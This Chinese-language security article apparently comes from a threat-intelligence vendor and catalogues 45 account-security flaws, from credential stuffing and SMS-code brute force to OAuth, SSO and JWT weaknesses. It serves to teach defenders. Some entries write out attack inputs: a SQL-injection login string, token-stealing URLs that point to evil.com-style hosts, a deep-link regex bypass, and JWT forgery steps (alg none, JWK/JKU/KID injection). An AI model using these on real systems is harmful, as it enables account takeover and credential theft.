信息化时代,大部分平台都需要通过账号登录才可体验更多功能,近些年为方便用户操作,平台演变出了扫码登录、第三方授权登录等多种登录方式,这也为攻击者打开了更大的攻击面。
账号包含着各种重要信息如个人手机APP账户、网站账户、银行卡账户密码等,是黑产眼中的“香饽饽”。永安在线情报平台监测过多起黑产利用账号缺陷发起规模攻击,如扫号攻击、撞库攻击、盗号登录等,最终达到窃取敏感数据、资金盗取、网络诈骗、薅羊毛等目的。因此,加强账号安全管理,是企事业单位业务和数据安全保障的第一道屏障。
本文大家梳理了45个账号安全风险点,方便大家在账号安全管理中查缺补漏,从而建立更加全面的账号安全体系。
下文将结合永安在线情报平台捕获到的攻击案例,对不同安全场景和凭证存在的安全风险逐一分析:
按照不同安全场景分析:
密码登录场景
账号相关:
-
账号可枚举
危害性:低
普遍性:高
可利用性:高
通过响应体的内容可以判断账号在系统中是否存在,拿到存在的账户后可进一步发起撞库/爆破攻击,提高攻击效率。
例如该接口会对不存在的用户名返回“用户名不存在”,可利用这个提示来枚举账号。
-
默认账号
危害程度:低
普遍性:高
可利用性:高
很多系统都会有默认的账号,比如很多管理后台都会有个admin账号,这样攻击者即使无法枚举账号在系统中是否存在,也可以尝试对默认账号发起攻击。
密码相关:
-
撞库
危害程度:高
普遍性:中
可利用性:中
一般情况下,用户会用一个手机号或邮箱在多个平台上注册账号,为了方便记忆,密码可能会设置成一样的。当某些平台的用户数据泄露了,攻击者就会拿泄漏的账号密码去别的平台尝试登录。比较常见的有游戏行业的撞库攻击,游戏账号的价值比较高,对攻击者来说可获取高额利润。永安在线情报平台曾捕获过多起黑产贩卖撞库成功得来的账号信息:
-
钓鱼
危害性:高
普遍性:高
可利用性:中
攻击者通过准备一个和官方平台基本一样的登录页面(域名不同)或礼品领取、抽奖的页面等,引诱受害者输入账号密码。攻击者通过这种方式可直接获取到受害者的明文账号密码。
-
弱密码
危害性:高
普遍性:高
可利用性:高
弱密码没有一个明确的定义范围,任何可能被猜解出来的密码都可以被称为弱密码,常见的弱密码123456,像dangdang2022、dangdang.com、dangdang@2022也可被称为弱密码。攻击者通过常见的弱密码以及收集目标的相关信息,组合起来生成密码进行爆破。
例如某个管理后台存在弱密码,域名为pass****.cn,通过爆破就得到账号密码为pass****、pass****2016。
-
万能密码
危害性:高
普遍性:低
可利用性:高
万能密码指的是用什么密码都可以登录系统,是因为登录接口存在SQL注入漏洞造成的。
例如输入账号admin密码123456,后端会执行的SQL语句大概为:
SELECT * FROM user WHERE username='admin' AND password='123456'
如果存在SQL注入漏洞,攻击者可以构造语句,输入账号admin’ # ,输入任何密码,后端会执行的SQL语句就变为:
SELECT * FROM user WHERE username='admin' #' and password='123456'
这里通过#注释符把后面查询密码的语句注释掉了,校验账号密码的逻辑就失效了,实现万能密码登录。
-
密码明文传输
危害性:高
普遍性:中
可利用性:低
密码在提交到服务器的过程中,没有进行加密处理,攻击者可通过中间人攻击的方式获取到明文密码。
-
密码在URL中
危害性:高
普遍性:低
可利用性:低
如果一个登录请求,会把账号密码写在URL中,即把密码暴露在浏览器的地址栏上,或是可能会被浏览器、安全软件给记录下来。如果包含密码的这个URL,是个HTML,HTML上又会加载JS、CSS等第三方的资源文件,那在请求这些第三方文件的时候,就会通过Referer把密码泄漏了。
-
密码明文存储
危害性:高
普遍性:低
可利用性:低
用明文存储密码有很大的安全隐患, 一般数据库里还存有用户的姓名、手机号、用户名等信息,一旦数据库发生泄漏,再加上用户的明文密码,攻击者就可以用账号和密码去其他网站尝试登录。因为用户往往会根据习惯,将多个网站的密码成一样的,跟前面提到的撞库攻击存在的问题一样。
-
API泄漏密码
危害性:高
普遍性:低
可利用性:高
因为开发人员的疏忽,API接口可返回用户的所有字段(包括密码)的信息,攻击者就可轻易获取到用户的密码。
验证码相关:
-
图形验证码失效
危害性:低
普遍性:低
可利用性:高
常见的让图形验证码失效的方式有把验证码参数值填空,或者验证码参数删掉。
如下案例就是直接把验证码参数删除,验证码失效,不再返回验证码错误。
-
滑块验证码失效
危害性:低
普遍性:低
可利用性:高
最常见的滑块验证码是通过SaaS接入的,但为了避免第三方服务器出问题影响业务的正常运营,通常会提供一个宕机模式(即第三方服务器出问题时可不用进行滑块验证码),攻击者利用这一点就可以让滑块验证码失效。
如下是在请求中添加了个”xx_server_status”:0,让服务端以为第三方服务宕机了,就不用进行滑块验证了,从而绕过了滑块验证。
-
不同端验证码策略不一致
危害性:低
普遍性:低
可利用性:高
平台可能对一套系统开发了PC网页版、移动网页版、APP等,在不同端上验证码的策略可能不同。比如在PC网页版的登录接口是有验证码的,换到APP可能就没有验证码了,攻击者就可利用APP的接口来发起攻击。
-
验证码可复用
危害性:低
普遍性:低
可利用性:高
验证码可复用即验证码使用多次不失效,利用这个缺陷来绕过验证码发起攻击。
永安在线情报平台就捕获过多起攻击者利用验证码可复用的漏洞进行扫号攻击。如下图,攻击者多次请求都是使用的同一个验证码,并且都请求成功。
-
使用老接口
危害性:低
普遍性:高
可利用性:中
平台开发了新的接口,但是老的接口可能没下线,这类僵尸接口很容易被攻击者利用。
下图是永安在线情报平台捕获的一个攻击事件,平台在页面上显示的是中文验证码:
但从永安在线情报平台流量中看到,攻击者请求中的验证码都是英文数字,并非中文验证码。
通过分析得出应该是平台新接口升级了验证码为中文验证码,但老的接口还能继续使用英文数字验证码,攻击者正是利用这一漏洞对老接口发起攻击。
短信验证码登录
-
验证码位数过短
危害性:高
普遍性:中
可利用性:高
如果短信验证码是纯数字的,位数又比较短(小于等于4位),攻击者很容易把验证码爆破出来。
下图所示是一个短信验证码登录接口,对手机号为13888888888的短信验证码进行爆破,可实现任意用户登录。
-
验证码有效期过长
危害性:中
普遍性:低
可利用性:低
6位纯数字的验证码爆破的成本比较高,一共有一百万个数字需要爆破,耗费的时间会非常长。但如果验证码的有效期比较长,比如1小时甚至更久,还是存在被爆破的风险。
如下案例,某接口登录使用的是6位验证码,有效期超半小时,案例中的验证码是0开头的(运气比较好),所以比较快地爆破出了验证码为064716。
-
验证码在响应中泄漏
危害性:高
普遍性:低
可利用性:高
发送短信验证码的接口,有可能在其响应体/响应头中泄漏了验证码。如下案例所示,某教育类APP发送验证码的API接口,在响应体中泄漏了验证码,和客户实际收到的短信验证码一致,攻击者可利用该漏洞实现任意用户登录/注册等操作。
-
验证码由客户端生成
危害性:高
普遍性:低
可利用性:高
在发送短信验证码的接口,也有可能由客户端来生成验证码,然后给到后端来发送短信验证码,相当于可以自己指定手机号的验证码,攻击者可利用该漏洞实现任意用户登录/注册等操作。
-
测试验证码未删除
危害性:高
普遍性:低
可利用性:中
在应用上线前,开发人员可能为了方便测试,设置了测试专用的验证码(如0000、1111、2222等),输入该验证码即可完成登录/注册等操作。在应用上线后可能未删除该验证码,攻击者可利用测试验证码实现任意用户登录/注册等操作。
-
验证码与手机号未绑定
危害性:高
普遍性:低
可利用性:高
在短信验证码登录的场景下,后端校验验证码是否正确时,没有验证验证码与手机号的关系,仅仅校验验证码是否为有效期内下发过的验证码。攻击者可利用自己的手机号接受短信验证码,实现任意用户登录/注册等操作。
扫码登录场景
-
扫码授权登录CSRF
危害性:高
普遍性:低
可利用性:中
扫码登录的流程大概如下:
有些后端没有去验证用户是否扫描了这个二维码,可以直接跳到授权登录这一步,在授权登录这个点上如果又存在CSRF漏洞,攻击者即可构造一个恶意的链接,引诱用户打开链接,利用该漏洞就可以轻易获取用户账号权限。
-
凭证窃取
危害性:高
普遍性:低
可利用性:中
通过对某个平台的扫码登录逻辑进行分析,猎人君发现最后确认登录时,只需用户的memberId就可以完成登录,每个用户的memberId又是唯一不变的。如果有办法获取到用户的memberId,就相当于永久获取到了其账户的权限。
再进一步挖掘发现在APP内可以使用JavaScript通过JSBridge调用Native方法拿到当前用户的memberId,又通过平时收到的营销短信中的链接发现可以使用Deep Link唤醒APP打开任意URL。
三者结合在一起: 构造一个恶意URL,引诱用户打开,打开后会通过Deep Link唤醒APP打开构造好的页面,页面就是通过JavaScript拿到memberId并外传,再拿着memberId通过确认登录的接口就可以登录用户的账号了。
第三方授权登录场景
-
凭证窃取
危害性:高
普遍性:低
可利用性:中
第三方授权登录指的是通过QQ、微信或微博等进行登录,如果配置不当也会存在漏洞。
以QQ授权登录举例:
https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=123456&redirect_uri=http://www.aaa.com/user/thirdparty/qq_callback.php&state=8ccc0aef42194df06cfd42c606e4d59a&scope=all
用户使用QQ号登录成功后,会把登录凭证code传递给回调地址redirect_uri,如下所示:
Location: http://www.aaa.com/user/thirdparty/qq_callback.php&state=8ccc0aef42194df06cfd42c606e4d59a&scope=all&code=xxxxxxxxx
那么如果redirect_uri这个值是攻击者可控的,那攻击者可以构造恶意URL来窃取用户的code。正常都会限制redirect_uri的域名,比如为*.aaa.com,这样域名攻击者不可控,就不会有什么问题了。但如果结合其他子域下的问题,还是可能导致用户的code被窃取。
分析某站点第三方登录逻辑时发现,对redirect_uri的域名限制为*.aaa.com,在b.aaa.com域名下发现一个论坛,论坛帖子得回复可以插入第三方的图片,将这两点结合起来就可以通过referer来窃取code。
https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=123456&redirect_uri=http://b.aaa.com/tiezi/123456&state=8ccc0aef42194df06cfd42c606e4d59a&scope=all
登录成功后会带着code访问帖子:
http://b.aaa.com/tiezi/123456&state=8ccc0aef42194df06cfd42c606e4d59a&scope=all&code=xxxxxxxxx
而帖子中又有攻击者插入的第三方图片,在加载第三方图片的时候,就把code传输出去了,完成code窃取:
GET http://www.eivl.com/test.jpg Referer: http://b.aaa.com/tiezi/123456&state=8ccc0aef42194df06cfd42c606e4d59a&scope=all&code=xxxxxxxxx
攻击者拿到code和state之后,即可登录受害者的账号。
单点登录场景
单点登录指的是用户一次可通过一组登录凭证登入会话,在该次会话期间无需再次登录,即可安全访问多个相关的应用程序和服务。
-
凭证窃取
危害性:高
普遍性:低
可利用性:中
如下是某平台单点登录的功能,https://passport.a.com/account/unitivelogin?service=86904ff8&continue=https://www.a.com/account/settoken
在登录状态下访问后会把凭证发送到continue参数指定的地址:
如果continue参数中接口的域名可控,攻击者可把域名改成自己的,再把链接发给受害者,引诱受害者打开链接,凭证就会被发往攻击者的域名。
通过测试发现这里不能将a.com改为b.com,后端有一定的检测逻辑。但通过多次测试发现可以在参数中插入空白字符(%00、%09、%0a、%0d)来干扰检测,达到域名可控的效果。
https://passport.a.com/account/unitivelogin?service=86904ff8&continue=https://www.a.com%09.evil.com/account/settoken
当受害者访问该链接,凭证就会被发送给攻击者了:https://www.a.com.evil.com/account/settoken,攻击者就可以利用该凭证登录其所有业务。
修改密码场景
-
修改密码CSRF
危害性:高
普遍性:低
可利用性:中
修改密码处如果没有校验旧密码、短信验证码等,则可能存在CSRF漏洞,易被攻击者利用。攻击者利用该漏洞可构造链接诱导受害者打开,打开后受害者账号的密码就被修改了。
-
修改密码越权
危害性:高
普遍性:低
可利用性:高
修改密码的API存在越权漏洞,导致攻击者可利用该漏洞直接修改其他用户的密码。
忘记密码场景
-
任意用户密码修改
危害性:高
普遍性:低
可利用性:高
忘记密码功能一般会给用户绑定的手机号/邮箱发送一个验证码,验证通过后即可重置密码。攻击者如果可以爆破该验证码,或在最后设置新密码时后端验证存在缺陷,可以导致任意用户密码修改。永安在线情报平台曾捕获到一起攻击事件,攻击者利用某数字藏品的忘记密码接口漏洞,来修改其他用户的密码。
攻击者在修改其他用户的密码后,会登录账号并尝试把账号内的数字藏品进行转增,以此来获利。
账号绑定场景
-
账号绑定CSRF
危害性:高
普遍性:低
可利用性:中
平台一般会提供账号绑定的功能,即账号可以绑定邮箱、QQ号或微信号,后续可以使用这些方式进行登录。若绑定功能存在CSRF,攻击者利用该漏洞让受害者绑定上自己的账号(邮箱、QQ号、微信号等),攻击者后续就可以用自己的账号来登录受害者的账号了。
多因子认证场景
许多网站都使用密码一个因子来验证用户的身份,但是有些网站会用多个因子来验证用户的身份。拿密码和验证码两个因子来说,攻击者同时获得这两个因子比获得其中一个因子的可能性要小得多,因此双因子认证比单因子认证更安全。
-
双因子认证绕过
危害性:高
普遍性:低
可利用性:中
如果双因子认证的实现存在缺陷,也是可能被绕过的。
例如,网站验证用户的账号密码后,还要验证邮件收到的验证码,两个因子认证都通过才算登录完成。
但是这里在验证完账号密码后,COOKIE已经拥有了登录态,导致不填入验证码也可以直接访问/my-account账户页面,以此绕过了双因子认证。
-
双因子认证爆破
危害性:高
普遍性:低
可利用性:低
即使网站使用了双因子认证来确保账号安全,但如果没有对爆破攻击进行防御,攻击者还是可以对这些因子(如密码、验证码)进行爆破,以获取账号权限。
按照不同凭证分析:
COOKIE
-
COOKIE未设置HTTPONLY
危害性:低
普遍性:低
可利用性:中
COOKIE如果没有设置HTTPONLY,可能导致COOKIE被窃取。攻击者可以通过XSS漏洞执行document.cookie来拿到用户的COOKIE。
-
COOKIE未设置SECURE
危害性:低
普遍性:低
可利用性:低
COOKIE如果没有设置SECURE,可能导致COOKIE被窃取。在网站传输使用HTTP的情况下,攻击者可以通过中间人劫持获取到COOKIE。
-
会话固定
危害性:低
普遍性:低
可利用性:中
会话固定指的是网站在登录前后的会话不变,比如登录前COOKIE是123456,登录后的COOKIE还是123456,那么攻击者可能就可以通过某些API给受害者写入COOKIE。比如攻击者构造了一个URLhttp://www.a.com/?session=123456,受害者访问后点击该链接进行登录,会话成功建立(此时的session已经被攻击者预先设置为123456了),攻击者此时就可以用session=123456登录受害者的账号了。
-
不同端COOKIE策略不一致
危害性:低
普遍性:低
可利用性:低
很多时候网站会给COOKIE设置HTTPONLY以防止XSS漏洞对COOKIE读取,但可能给PC网页版的COOKIE设置了HTTPONLY,但移动端的COOKIE没有设置,攻击者还是可以利用XSS漏洞来获取到用户的COOKIE。
-
API泄漏COOKIE
危害性:高
普遍性:低
可利用性:高
在分析某站点登录的逻辑时,发现最后会把COOKIE返回在登录成功的API中,这个COOKIE设置了HTTPONLY,正常通过XSS是无法获取到该COOKIE的。但是现在泄漏到了API的响应中,就有机会通过XSS来获取泄漏在登录成功API中的COOKIE。
接下来就需要一个和登录成功页面同域的XSS,登录成功的域是www.a.com,在这个域下的接口很少,想找到一个XSS的难度的比较大。但是在其HTML中发现有这么一段代码document.domain=a.com,将域设置为了a.com,即任意一个子域名*.a.com的XSS都可以获取到该页面的内容,利用难度大幅下降。
最后使用XSS执行如下JS即可获取到泄漏的COOKIE:
-
APP漏洞导致COOKIE被窃取
危害性:高
普遍性:低
可利用性:中
比较常见的是因为WEB漏洞导致COOKIE被盗取,但是如果APP中存在漏洞也是可能导致COOKIE被盗取的。
如下案例,首先通过分析JS发现一个可以通过DEEPLINK唤醒APP在WEBVIEW中打开任意URL的漏洞:
app://open/?url=http://www.evil.com
在APP中,会用到JsBridge让WebView和Native进行交互,尝试在APP中打开我自己构造的页面,调用Native方法,发现调用失败,猜测是APP中有一定的检测逻辑,导致调用失败,对APP进行逆向分析看是否能够绕过检测。
通过逆向定位到是这里对打开的URL使用了正则进行检测:
(^|:\/\/)((((\w|-|\.)+\.)(asdqwe\.(cn|com))))($|[\/\?#]\w*
通过分析发现该正则是可以绕过的,问题出在开头的正则:
(^|:\/\/)
那么只要让打开的URL包含如下字符串就能绕过正则的检测:
://aaa.asdqwe.com
也就是如下构造DEEPLINK即可在我的页面中通过JsBridge调用Native方法:
app://open/?url=http://www.evil.com/://aaa.asdqwe.com
最后发现调用某个Native方法发起HTTP请求任何域名的URL时,都会带上当前用户的COOKIE,最后利用这个Native方法可以实现盗取COOKIE。
JWT
JWT一共分为三段:
-
Header(头部)
-
Payload(负载)
-
Signature(签名)
其中Signature部分是对前两部分的签名,防止数据篡改,按照Header中指定的算法和服务器才知道的密钥来生成。
-
弱密钥
危害性:高
普遍性:中
可利用性:高
JWT的密钥和账号密码一样存在弱密钥的问题,如果密钥非常简单,比如123456,那么攻击者可以非常轻易地生成其他用户的JWT,拿到账户权限。
-
密钥泄漏
危害性:高
普遍性:低
可利用性:高
密钥可能通过会代码仓库、报错页面等途径泄漏。
代码仓库泄漏:
报错信息中泄漏:
-
未校验签名
危害性:高
普遍性:低
可利用性:高
JWT库通常会提供验证和解码的方法,但是可能开发人员混淆了,只使用了解码方法,没有对签名进行验证,导致可以随意更改JWT来冒充其他用户。
例如,用账户访问/admin api时,返回401,提示该接口只能是administrator访问。
将当前的JWT进行解码,发现在PAYLOAD部分的sub字段存放了用户名。
将用户名更改为administrator,重新生成JWT,不用管签名或者签名部分直接删除,再次访问发现就不会再提示权限不足,成功冒充admin的身份。
-
空加密算法
危害性:高
普遍性:低
可利用性:高
JWT可以使用不同的算法进行签名,但也可以不签名,在这种情况下,alg参数的值会为none,代表所谓的“不安全的JWT”。
还是在访问/admin api时,提示只允许administrator访问。
解码JWT,算法存储在HEADER中的alg字段,用户名存储在PAYLOAD的sub字段:
将alg改为none,sub改为administrator,重新生成不带签名的JWT再次访问:
可以看到成功伪造了administrator的身份,访问到了/admin api。
JWT HEADER中除了alg是必填的,还有一些可选的参数,是可能被攻击者利用的。
-
JWK (JSON Web Key) – 存放JWT密钥的一个JSON
-
JKU (JSON Web Key Set URL) – 提供一个URL,服务器从中获取一组正确的密钥
-
KID (Key ID) – JWK的ID
42. JWK参数注入
危害性:高
普遍性:低
可利用性:高
正常情况下,服务器应该只使用有限的公钥白名单来验证JWT签名,但是配置错误的服务器可能会使用JWK中的公钥来验证JWT的签名。
如下是包含jwk例子:
攻击者可利用这种配置错误,自己生成RSA私钥对修改后的JWT进行签名,然后将对应的公钥写入JWK中,以达到伪造其他用户身份的目的。
例如在访问/admin api时,提示只允许administrator访问。
首先将sub更改为administrator。
再根据自己生成的RSA密钥,使用私钥进行签名,把公钥放到JWK中,生成新的JWT。
再次访问/admin api,访问成功,代表伪造administrator身份成功。
-
JKU参数注入
危害性:高
普遍性:低
可利用性:高
某些服务器不会直接使用header参数中的JWK提交的公钥,会使用JKU提供包含密钥的JWK集合,服务器会请求JKU提供的URL获取密钥来验证签名。
JWK集合是一个JSON,如下:
如果服务器没有校验JKU的地址,攻击者可以将其改为自己构造的URL,让服务器使用自己生成的密钥来验证签名,以达到伪造其他用户身份的目的。
还是一样,在访问/admin api时,提示只允许administrator访问。
自己生成RSA密钥,构造一个api用于返回JWK集合。
修改KID与api中的一致,sub修改为administrator,并添加JKU参数指向自己构造的api,重新生成JWT。
再次访问/admin api,访问成功,代表伪造administrator身份成功。
-
KID参数注入
危害性:高
普遍性:低
可利用性:高
服务器可以使用多个加密密钥来给不同类型的数据进行签名,不只是JWT。所以KID参数用于帮助服务器在验证签名时使用正确的密钥。密钥通常以JWK集合的方式存储,但是规范中没有定义ID的具体结构,只是开发人员自己生成的一个字符串。例如,开发人员可能使用KID参数来指向数据库中的某条数据,甚至是文件的名称。
如果KID指向的是文件的名称,又存在目录遍历的漏洞,则攻击者可能会让服务器使用其文件系统中的任意文件作为验证的密钥。
如果服务器支持使用对称加密算法签名的JWT,攻击者可以让服务器使用/dev/null文件作为验证的密钥,绝大部分linux系统都有这个文件,因为这是一个空文件,服务器读取该文件时会获得null,再使用Base64编码空字节(AA==)生成一个有效的签名,达到伪造用户身份的目的。
还是和前面一样,在访问/admin api时,提示只允许administrator访问。
生成密钥为空字节的对称加密密钥:
修改sub为administrator,再使用目录遍历,将KID参数指向/dev/null文件,以让服务器获得密钥为null,最后重新签名生成新的JWT。
再次访问/admin api,访问成功,代表伪造administrator身份成功。
-
算法混淆
危害性:高
普遍性:低
可利用性:中
某些JWT库在验证签名有效性时,给HMAC对称加密的密钥和RSA非对称加密的公钥赋予了相同的变量名,伪代码如下所示:
如果攻击者通过某种方式获得了RSA的公钥,攻击者可通过将JWT签名的算法从RS256调整为HS256,并用公钥对其进行签名,达到伪造用户身份的目的。
网络安全风险层出不穷,账号就像一把可以开启企业数据资产大门的“钥匙”,任何一点疏忽都可能对企业整体业务和数据资产造成严重的安全风险。因此,完善和维护账号安全体系是企业数字化信息安全建设的关键。